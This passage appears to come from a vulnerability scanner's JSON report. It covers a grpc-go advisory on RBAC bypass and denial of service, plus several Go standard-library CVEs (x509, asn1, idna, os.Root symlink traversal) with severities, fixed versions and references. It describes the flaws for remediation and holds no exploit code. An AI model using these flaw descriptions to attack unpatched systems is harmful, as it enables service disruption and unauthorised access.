Denial of Service (DoS).\n\n#### Denial of Service (Panic) in xDS RBAC Engine via Unsupported Fields inside NOT Rules\n\n- Affected Component: xDS RBAC \n- Impact: The xDS RBAC policy translators recursively generate matchers for nested rules. When a `NOT` rule wrapped an unsupported or unhandled field (such as `SourcedMetadata`), the recursive step returned an empty matcher. This could result in a runtime panic when the RBAC engine attempts to authorize an incoming request.\n\nAn attacker or misconfigured/malicious xDS management server delivering an LDS/RDS update containing a `NOT` rule around an unhandled field causes the gRPC server process to crash immediately (CWE-248 / Denial of Service).\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nAll three issues have been fixed in `master` and will be released in 1.82.1 shortly.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nIf upgrading grpc-go immediately is not possible, apply the following workarounds based on your deployment architecture:\n\n* For xDS RBAC Vulnerabilities \u0026 Panics: Ensure that upstream xDS management servers do not push RBAC policies containing `Metadata`, `RequestedServerName`, or `NOT` rules wrapping unsupported fields (such as `SourcedMetadata`) to grpc-go servers.\n* For HTTP/2 Rapid Reset DOS: Configure upstream reverse proxies or load balancers (such as Envoy) with strict HTTP/2 `max_concurrent_streams` limits and active rate limiting on `RST_STREAM` frequency per connection.\n\n### Severity\n\n | Vulnerability | Qualitative Severity | Approximate CVSS v3.1 Score | Primary Impact |\n | :--- | :--- | :--- | :--- |\n | **xDS RBAC Authorization Bypass** | **High** | `8.2` | Unauthorized Access / Fail-Open |\n | **HTTP/2 Rapid Reset DOS Bypass** | **High** | `7.5` | High CPU Consumption / Denial of Service |\n | **xDS RBAC Engine Server Panic** | **Medium** | `5.9` | Process Crash / Denial of Service |", "Severity": "HIGH", "VendorSeverity": { "ghsa": 3 }, "CVSS": { "ghsa": { "V40Vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N", "V40Score": 8.8 } }, "References": [ "https://github.com/grpc/grpc-go", "https://github.com/grpc/grpc-go/commit/4ea465d4ab98013f72a142fe0fc89c19770b2935", "https://github.com/grpc/grpc-go/pull/9236", "https://github.com/grpc/grpc-go/releases/tag/v1.82.1", "https://github.com/grpc/grpc-go/security/advisories/GHSA-hrxh-6v49-42gf" ], "PublishedDate": "2026-07-21T22:03:55Z", "LastModifiedDate": "2026-07-21T22:03:56Z" }, { "VulnerabilityID": "CVE-2026-111943", "VendorIDs": [ "GO-2026-6809" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.26.10, 1.27.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-111943", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:93d94dd246b9c7d345487cfe1a5777f0d1436ef9ec53b49eb8de92b2834ec170", "Title": "crypto/x509: golang: crypto/x509: Man-in-the-middle attacks via untrusted intermediate certificates", "Description": "On most platforms, Go uses the given system root certificates. However, in some narrower cases, the system trust stores may not be updated without further action. To defend against the narrower set of cases that may remain affected, a denylist was added in crypto/x509 to return an error when calling Verify with any of the known intermediate certificates that are no longer considered to be trustworthy.", "Severity": "HIGH", "CweIDs": [ "CWE-299" ], "VendorSeverity": { "alma": 3, "amazon": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:N", "V3Score": 6.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/10/20/29", "https://access.redhat.com/errata/RHSA-2026:95518", "https://access.redhat.com/security/cve/CVE-2026-111943", "https://bugzilla.redhat.com/2548336", "https://bugzilla.redhat.com/2556068", "https://bugzilla.redhat.com/show_bug.cgi?id=2548336", "https://bugzilla.redhat.com/show_bug.cgi?id=2556068", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-111943", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-97031", "https://errata.almalinux.org/9/ALSA-2026-95518.html", "https://errata.rockylinux.org/RLSA-2026:95518", "https://github.com/golang/go/issues/82345", "https://go.dev/cl/851047", "https://go.dev/issue/82345", "https://groups.google.com/g/golang-announce/c/66pojueaQek", "https://groups.google.com/g/golang-nuts/c/K22sG2AYnKU", "https://linux.oracle.com/cve/CVE-2026-111943.html", "https://linux.oracle.com/errata/ELSA-2026-95519.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-111943", "https://pkg.go.dev/vuln/GO-2026-6809", "https://www.cve.org/CVERecord?id=CVE-2026-111943" ], "PublishedDate": "2026-10-21T01:17:20.797Z", "LastModifiedDate": "2026-10-30T13:18:28.74Z" }, { "VulnerabilityID": "CVE-2026-27145", "VendorIDs": [ "GO-2026-5037" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.11, 1.26.4", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-27145", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:38cd1d0bda8ee62fe7dc5d601b40a2998b552528fbd451b4bdfd02623f96b902", "Title": "crypto/x509: golang: golang crypto/x509: Denial of Service via excessive processing of DNS SAN entries", "Description": "(*x509.Certificate).VerifyHostname previously called matchHostnames in a loop over all DNS Subject Alternative Name (SAN) entries. This caused strings.Split(host, \".\") to execute repeatedly on the same input hostname. With a large DNS SAN list, verification costs scaled quadratically based on the number of SAN entries multiplied by the hostname's label count. Because x509.Verify validates hostnames before building the certificate chain, this overhead occurred even for untrusted certificates.", "Severity": "HIGH", "CweIDs": [ "CWE-606" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 2, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:29980", "https://access.redhat.com/errata/RHSA-2026:29981", "https://access.redhat.com/errata/RHSA-2026:33574", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:35832", "https://access.redhat.com/errata/RHSA-2026:36317", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42946", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:46394", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49703", "https://access.redhat.com/errata/RHSA-2026:49705", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:49729", "https://access.redhat.com/errata/RHSA-2026:49744", "https://access.redhat.com/errata/RHSA-2026:49765", "https://access.redhat.com/errata/RHSA-2026:49770", "https://access.redhat.com/errata/RHSA-2026:50205", "https://access.redhat.com/errata/RHSA-2026:50319", "https://access.redhat.com/errata/RHSA-2026:51057", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:52946", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53416", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54168", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54427", "https://access.redhat.com/errata/RHSA-2026:54432", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54500", "https://access.redhat.com/errata/RHSA-2026:54525", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54603", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:55899", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57482", "https://access.redhat.com/errata/RHSA-2026:57488", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:59556", "https://access.redhat.com/errata/RHSA-2026:59557", "https://access.redhat.com/errata/RHSA-2026:59558", "https://access.redhat.com/errata/RHSA-2026:59559", "https://access.redhat.com/errata/RHSA-2026:59579", "https://access.redhat.com/errata/RHSA-2026:59593", "https://access.redhat.com/errata/RHSA-2026:60025", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60386", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60388", "https://access.redhat.com/errata/RHSA-2026:60390", "https://access.redhat.com/errata/RHSA-2026:60391", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:61314", "https://access.redhat.com/errata/RHSA-2026:63016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:68334", "https://access.redhat.com/errata/RHSA-2026:68335", "https://access.redhat.com/security/cve/CVE-2026-27145", "https://bugzilla.redhat.com/2445356", "https://bugzilla.redhat.com/2484207", "https://bugzilla.redhat.com/show_bug.cgi?id=2445356", "https://bugzilla.redhat.com/show_bug.cgi?id=2484207", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25679", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27145", "https://errata.almalinux.org/9/ALSA-2026-36317.html", "https://errata.rockylinux.org/RLSA-2026:36317", "https://go.dev/cl/783621", "https://go.dev/issue/79694", "https://groups.google.com/g/golang-announce/c/tKs3rmcBcKw", "https://linux.oracle.com/cve/CVE-2026-27145.html", "https://linux.oracle.com/errata/ELSA-2026-53416.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-27145", "https://pkg.go.dev/vuln/GO-2026-5037", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-27145.json", "https://www.cve.org/CVERecord?id=CVE-2026-27145" ], "PublishedDate": "2026-06-02T23:16:35.57Z", "LastModifiedDate": "2026-09-18T13:17:43.283Z" }, { "VulnerabilityID": "CVE-2026-33818", "VendorIDs": [ "GO-2026-5972" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-33818", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:1fe39687dccafad24a2fc7bf510638b86536519371672dfa309ec14005f4300a", "Title": "encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal", "Description": "Enforce a recursion limit in Unmarshal to prevent stack exhaustion when parsing deeply-nested, recursive structures.", "Severity": "HIGH", "CweIDs": [ "CWE-400" ], "VendorSeverity": { "alma": 3, "amazon": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:70641", "https://access.redhat.com/security/cve/CVE-2026-33818", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2402034", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-70641.html", "https://errata.rockylinux.org/RLSA-2026:70641", "https://github.com/golang/go/issues/80405", "https://go.dev/cl/814980", "https://go.dev/issue/80405", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://linux.oracle.com/cve/CVE-2026-33818.html", "https://linux.oracle.com/errata/ELSA-2026-70641.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-33818", "https://pkg.go.dev/vuln/GO-2026-5972", "https://ubuntu.com/security/notices/USN-8935-1", "https://www.cve.org/CVERecord?id=CVE-2026-33818" ], "PublishedDate": "2026-08-13T22:17:19.84Z", "LastModifiedDate": "2026-09-03T16:37:52.17Z" }, { "VulnerabilityID": "CVE-2026-39821", "VendorIDs": [ "GO-2026-5026" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.13, 1.26.6, 1.27.0-rc.3", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39821", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:650e89a4be22d07b8a2db76f79616d75dc985e528b85eea056a632de9d64590e", "Title": "golang.org/x/net/idna: golang: net/http: golang.org/x/net/idna: Privilege escalation via incorrect Punycode label processing", "Description": "The ToASCII and ToUnicode functions incorrectly accept Punycode-encoded labels that decode to an ASCII-only label. For example, ToUnicode(\"xn--example-.com\") incorrectly returns the name \"example.com\" rather than an error. This behavior can lead to privilege escalation in programs using the idna package. For example, a program which performs privilege checks on the ASCII hostname may reject \"example.com\" but permit \"xn--example-.com\". If that program subsequently converts the ASCII hostname to Unicode, it will inadvertently permits access to the Unicode name \"example.com\".", "Severity": "HIGH", "CweIDs": [ "CWE-1289" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:N", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:23262", "https://access.redhat.com/errata/RHSA-2026:23264", "https://access.redhat.com/errata/RHSA-2026:26546", "https://access.redhat.com/errata/RHSA-2026:26547", "https://access.redhat.com/errata/RHSA-2026:30650", "https://access.redhat.com/errata/RHSA-2026:30651", "https://access.redhat.com/errata/RHSA-2026:30853", "https://access.redhat.com/errata/RHSA-2026:30854", "https://access.redhat.com/errata/RHSA-2026:30855", "https://access.redhat.com/errata/RHSA-2026:33155", "https://access.redhat.com/errata/RHSA-2026:33160", "https://access.redhat.com/errata/RHSA-2026:33163", "https://access.redhat.com/errata/RHSA-2026:33173", "https://access.redhat.com/errata/RHSA-2026:33183", "https://access.redhat.com/errata/RHSA-2026:33524", "https://access.redhat.com/errata/RHSA-2026:33531", "https://access.redhat.com/errata/RHSA-2026:34342", "https://access.redhat.com/errata/RHSA-2026:34357", "https://access.redhat.com/errata/RHSA-2026:34359", "https://access.redhat.com/errata/RHSA-2026:34364", "https://access.redhat.com/errata/RHSA-2026:34789", "https://access.redhat.com/errata/RHSA-2026:35826", "https://access.redhat.com/errata/RHSA-2026:35827", "https://access.redhat.com/errata/RHSA-2026:35828", "https://access.redhat.com/errata/RHSA-2026:35829", "https://access.redhat.com/errata/RHSA-2026:35830", "https://access.redhat.com/errata/RHSA-2026:35831", "https://access.redhat.com/errata/RHSA-2026:35993", "https://access.redhat.com/errata/RHSA-2026:35994", "https://access.redhat.com/errata/RHSA-2026:36105", "https://access.redhat.com/errata/RHSA-2026:36167", "https://access.redhat.com/errata/RHSA-2026:36207", "https://access.redhat.com/errata/RHSA-2026:36648", "https://access.redhat.com/errata/RHSA-2026:36651", "https://access.redhat.com/errata/RHSA-2026:36796", "https://access.redhat.com/errata/RHSA-2026:36797", "https://access.redhat.com/errata/RHSA-2026:36808", "https://access.redhat.com/errata/RHSA-2026:36820", "https://access.redhat.com/errata/RHSA-2026:36883", "https://access.redhat.com/errata/RHSA-2026:37387", "https://access.redhat.com/errata/RHSA-2026:37435", "https://access.redhat.com/errata/RHSA-2026:37436", "https://access.redhat.com/errata/RHSA-2026:38995", "https://access.redhat.com/errata/RHSA-2026:39005", "https://access.redhat.com/errata/RHSA-2026:39573", "https://access.redhat.com/errata/RHSA-2026:39879", "https://access.redhat.com/errata/RHSA-2026:40118", "https://access.redhat.com/errata/RHSA-2026:40262", "https://access.redhat.com/errata/RHSA-2026:40945", "https://access.redhat.com/errata/RHSA-2026:41019", "https://access.redhat.com/errata/RHSA-2026:41030", "https://access.redhat.com/errata/RHSA-2026:41031", "https://access.redhat.com/errata/RHSA-2026:41036", "https://access.redhat.com/errata/RHSA-2026:41055", "https://access.redhat.com/errata/RHSA-2026:41066", "https://access.redhat.com/errata/RHSA-2026:41928", "https://access.redhat.com/errata/RHSA-2026:41930", "https://access.redhat.com/errata/RHSA-2026:42043", "https://access.redhat.com/errata/RHSA-2026:42047", "https://access.redhat.com/errata/RHSA-2026:42048", "https://access.redhat.com/errata/RHSA-2026:42049", "https://access.redhat.com/errata/RHSA-2026:42050", "https://access.redhat.com/errata/RHSA-2026:42051", "https://access.redhat.com/errata/RHSA-2026:42078", "https://access.redhat.com/errata/RHSA-2026:42079", "https://access.redhat.com/errata/RHSA-2026:42080", "https://access.redhat.com/errata/RHSA-2026:42082", "https://access.redhat.com/errata/RHSA-2026:42132", "https://access.redhat.com/errata/RHSA-2026:42142", "https://access.redhat.com/errata/RHSA-2026:42146", "https://access.redhat.com/errata/RHSA-2026:42150", "https://access.redhat.com/errata/RHSA-2026:42151", "https://access.redhat.com/errata/RHSA-2026:42240", "https://access.redhat.com/errata/RHSA-2026:42644", "https://access.redhat.com/errata/RHSA-2026:42796", "https://access.redhat.com/errata/RHSA-2026:42852", "https://access.redhat.com/errata/RHSA-2026:43038", "https://access.redhat.com/errata/RHSA-2026:43052", "https://access.redhat.com/errata/RHSA-2026:43692", "https://access.redhat.com/errata/RHSA-2026:44622", "https://access.redhat.com/errata/RHSA-2026:44624", "https://access.redhat.com/errata/RHSA-2026:46395", "https://access.redhat.com/errata/RHSA-2026:47149", "https://access.redhat.com/errata/RHSA-2026:47735", "https://access.redhat.com/errata/RHSA-2026:47737", "https://access.redhat.com/errata/RHSA-2026:47952", "https://access.redhat.com/errata/RHSA-2026:49702", "https://access.redhat.com/errata/RHSA-2026:49712", "https://access.redhat.com/errata/RHSA-2026:50300", "https://access.redhat.com/errata/RHSA-2026:50843", "https://access.redhat.com/errata/RHSA-2026:51033", "https://access.redhat.com/errata/RHSA-2026:51112", "https://access.redhat.com/errata/RHSA-2026:51187", "https://access.redhat.com/errata/RHSA-2026:51194", "https://access.redhat.com/errata/RHSA-2026:51341", "https://access.redhat.com/errata/RHSA-2026:52826", "https://access.redhat.com/errata/RHSA-2026:53374", "https://access.redhat.com/errata/RHSA-2026:53412", "https://access.redhat.com/errata/RHSA-2026:53413", "https://access.redhat.com/errata/RHSA-2026:53415", "https://access.redhat.com/errata/RHSA-2026:53530", "https://access.redhat.com/errata/RHSA-2026:54191", "https://access.redhat.com/errata/RHSA-2026:54274", "https://access.redhat.com/errata/RHSA-2026:54283", "https://access.redhat.com/errata/RHSA-2026:54284", "https://access.redhat.com/errata/RHSA-2026:54285", "https://access.redhat.com/errata/RHSA-2026:54286", "https://access.redhat.com/errata/RHSA-2026:54287", "https://access.redhat.com/errata/RHSA-2026:54395", "https://access.redhat.com/errata/RHSA-2026:54401", "https://access.redhat.com/errata/RHSA-2026:54435", "https://access.redhat.com/errata/RHSA-2026:54441", "https://access.redhat.com/errata/RHSA-2026:54531", "https://access.redhat.com/errata/RHSA-2026:54580", "https://access.redhat.com/errata/RHSA-2026:54757", "https://access.redhat.com/errata/RHSA-2026:56143", "https://access.redhat.com/errata/RHSA-2026:56223", "https://access.redhat.com/errata/RHSA-2026:56340", "https://access.redhat.com/errata/RHSA-2026:56431", "https://access.redhat.com/errata/RHSA-2026:57194", "https://access.redhat.com/errata/RHSA-2026:57541", "https://access.redhat.com/errata/RHSA-2026:57649", "https://access.redhat.com/errata/RHSA-2026:57845", "https://access.redhat.com/errata/RHSA-2026:59546", "https://access.redhat.com/errata/RHSA-2026:59549", "https://access.redhat.com/errata/RHSA-2026:59562", "https://access.redhat.com/errata/RHSA-2026:60315", "https://access.redhat.com/errata/RHSA-2026:60354", "https://access.redhat.com/errata/RHSA-2026:60387", "https://access.redhat.com/errata/RHSA-2026:60520", "https://access.redhat.com/errata/RHSA-2026:61245", "https://access.redhat.com/errata/RHSA-2026:61253", "https://access.redhat.com/errata/RHSA-2026:62549", "https://access.redhat.com/errata/RHSA-2026:63134", "https://access.redhat.com/errata/RHSA-2026:65126", "https://access.redhat.com/errata/RHSA-2026:65153", "https://access.redhat.com/errata/RHSA-2026:65359", "https://access.redhat.com/errata/RHSA-2026:65534", "https://access.redhat.com/errata/RHSA-2026:65851", "https://access.redhat.com/errata/RHSA-2026:65886", "https://access.redhat.com/errata/RHSA-2026:66016", "https://access.redhat.com/errata/RHSA-2026:66022", "https://access.redhat.com/errata/RHSA-2026:66350", "https://access.redhat.com/errata/RHSA-2026:66432", "https://access.redhat.com/errata/RHSA-2026:67149", "https://access.redhat.com/errata/RHSA-2026:67159", "https://access.redhat.com/errata/RHSA-2026:67160", "https://access.redhat.com/errata/RHSA-2026:67287", "https://access.redhat.com/errata/RHSA-2026:67319", "https://access.redhat.com/errata/RHSA-2026:67517", "https://access.redhat.com/errata/RHSA-2026:68504", "https://access.redhat.com/security/cve/CVE-2026-39821", "https://bugzilla.redhat.com/2467809", "https://bugzilla.redhat.com/2467820", "https://bugzilla.redhat.com/2480756", "https://bugzilla.redhat.com/2484204", "https://bugzilla.redhat.com/2515815", "https://bugzilla.redhat.com/2515820", "https://bugzilla.redhat.com/2515827", "https://bugzilla.redhat.com/2515838", "https://bugzilla.redhat.com/2515839", "https://bugzilla.redhat.com/2515840", "https://bugzilla.redhat.com/show_bug.cgi?id=2456333", "https://bugzilla.redhat.com/show_bug.cgi?id=2456339", "https://bugzilla.redhat.com/show_bug.cgi?id=2467809", "https://bugzilla.redhat.com/show_bug.cgi?id=2467820", "https://bugzilla.redhat.com/show_bug.cgi?id=2467822", "https://bugzilla.redhat.com/show_bug.cgi?id=2480756", "https://bugzilla.redhat.com/show_bug.cgi?id=2484204", "https://bugzilla.redhat.com/show_bug.cgi?id=2515815", "https://bugzilla.redhat.com/show_bug.cgi?id=2515820", "https://bugzilla.redhat.com/show_bug.cgi?id=2515827", "https://bugzilla.redhat.com/show_bug.cgi?id=2515838", "https://bugzilla.redhat.com/show_bug.cgi?id=2515839", "https://bugzilla.redhat.com/show_bug.cgi?id=2515840", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32280", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-32281", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33811", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33818", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39820", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-39821", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42499", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42504", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56858", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56859", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56860", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-56862", "https://errata.almalinux.org/9/ALSA-2026-65153.html", "https://errata.rockylinux.org/RLSA-2026:65886", "https://go.dev/cl/767220", "https://go.dev/issue/78760", "https://groups.google.com/g/golang-announce/c/94pEornpRlI", "https://groups.google.com/g/golang-announce/c/iI-mYSI0lu8", "https://linux.oracle.com/cve/CVE-2026-39821.html", "https://linux.oracle.com/errata/ELSA-2026-66432-0.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-39821", "https://pkg.go.dev/vuln/GO-2026-5026", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-39821.json", "https://ubuntu.com/security/notices/USN-8416-1", "https://ubuntu.com/security/notices/USN-8883-1", "https://ubuntu.com/security/notices/USN-8883-2", "https://ubuntu.com/security/notices/USN-8900-1", "https://ubuntu.com/security/notices/USN-8914-1", "https://www.cve.org/CVERecord?id=CVE-2026-39821" ], "PublishedDate": "2026-05-22T16:16:20.41Z", "LastModifiedDate": "2026-09-17T12:18:05.767Z" }, { "VulnerabilityID": "CVE-2026-39822", "VendorIDs": [ "GO-2026-4970" ], "PkgID": "stdlib@v1.26.3", "PkgName": "stdlib", "PkgIdentifier": { "PURL": "pkg:golang/stdlib@v1.26.3", "UID": "8da4595ba8e1b0f0" }, "InstalledVersion": "v1.26.3", "FixedVersion": "1.25.12, 1.26.5, 1.27.0-rc.2", "Status": "fixed", "Layer": { "DiffID": "sha256:0413c9507387a8d054e0d2e26aedd686c1844752fe4281df08582b07088802fd" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-39822", "DataSource": { "ID": "govulndb", "Name": "The Go Vulnerability Database", "URL": "https://pkg.go.dev/vuln/" }, "Fingerprint": "sha256:ad8ec3def32f6d3fa92fbd009f30d3395450a086700b998506648c9da907c49f", "Title": "golang: Go os.Root: Symlink following vulnerability allows directory traversal", "Description": "On Unix systems, opening a file in an os.Root improperly follows symlinks to locations outside of the Root when the final path component of the a path is a symbolic link and the path ends in /. For example, 'root.Open(\"symlink/\")' will open \"symlink\" even when \"symlink\" is a symbolic link pointing outside of the root.", "Severity": "HIGH", "CweIDs": [ "CWE-61" ], "VendorSeverity": { "alma": 3, "amazon": 2, "azure": 3, "bitnami": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "bitnami": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, 